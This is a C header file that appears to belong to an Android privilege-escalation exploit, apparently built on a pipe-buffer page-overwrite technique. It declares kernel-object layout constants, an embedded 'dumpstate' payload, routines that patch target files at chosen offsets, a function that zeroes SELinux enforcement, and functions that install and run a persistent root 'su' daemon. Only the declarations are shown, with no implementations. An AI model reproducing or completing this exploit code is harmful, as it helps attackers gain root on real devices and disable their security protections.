#pragma once

#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <sys/types.h>

enum {
	EXPLOIT_PAGE_SIZE = 4096,
	CORE = 0,
	PIPE_OBJECT_SIZE = 0x800,
	PIPE_BUFFER_SIZE = 0x28,
	PIPE_SLOT = 10,
	PIPE_FLAGS_OFF = 0x18,
};

extern const unsigned char dumpstate_payload_start[];
extern const unsigned char dumpstate_payload_end[];

int su_install_self(const char *path);
int su_daemon_main(const char *self_path);
int su_client_main(int argc, char **argv);
char *su_run_command(const char *command, int *status_out);

void orchestrator_init(void);
int wait_child(pid_t pid, unsigned int timeout_seconds, bool process_group);
int patch_retry(const char *tag, const char *target, off_t offset,
		const unsigned char *payload, size_t payload_size,
		const unsigned char *preimage, size_t preimage_size);
int zero_selinux(uint64_t enforcing_alias);

char *read_file(const char *path);
int selinux_enforcing(void);
bool process_running(const char *needle);
bool status_has(const char *status, const char *field, const char *value);

void known_page_prepare(unsigned char *data);
uint64_t known_page_acquire(void);
void known_page_release(void);
void known_page_reclaim(int carrier_sv[2]);
unsigned char *known_page_data(void);

int pipe_worker(const char *target, off_t offset,
		const unsigned char *payload, size_t payload_size,
		int command_fd);
int late_refs_pipe(uint64_t pipe_page);
int late_refs_zero(uint64_t target_byte);
